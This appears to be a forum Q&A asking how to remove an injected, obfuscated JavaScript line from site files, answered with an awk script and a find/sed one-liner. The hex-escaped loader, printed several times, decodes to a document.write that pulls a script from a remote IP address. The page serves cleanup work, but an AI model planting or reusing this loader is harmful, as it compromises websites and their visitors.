使用sed替换复杂的模式

Question

I want to replace a pattern by using sed command. The pattern to be removed is as below with a space.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))

Now I need to replace the above pattern with a space. This patter can be anywhere in the file ( ie can be on the begining on the file / end of file or between some strings)

any tips for regex to remove via sed ?

Thanks.

Answer 1

$ cat r.awk
#!/usr/bin/awk -f

NR == FNR { # read a first file with a string to match
    str = $0
    rep = " " # replace by `rep'
    RS = "$^" # regexp which never matches => the next record will be
              # a string with a whole second file
    nextfile
}

{
    file = $0; ans = ""
    while (i = index(file, str)) {
        pre  = substr(file, 1              , i - 1)  # parts before
        post = substr(file, i + length(str))         # and after `str'
        ans  = ans pre rep # append to the output
        file = post
    }
    ans = ans file
    printf "%s", ans
}

Store a string in a file

$ cat r.txt
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))

An example

$ cat f.txt
BEFORE
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))
AFTER
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0]))
END

Usage:

$ awk -f r.awk r.txt f.txt

BEFORE

AFTER

END

Answer 2

Another way to achieve what you are looking for "removing the pattern only" using find and sed commands in one line:

$ find /path/to/files/ -type f \( -name "*.js" -o -name "*.json" \) -exec sh -c 'sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" "$0"' {} \;

The above command will search under specific path and remove the pattern if found from any file with these extensions js or json .

for JS only:

$ find /path/to/files/ -type f -name "*.js" -exec sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" '{}' \;

Feel free to remove the -name "*.x" part if you want to search for any file with any extension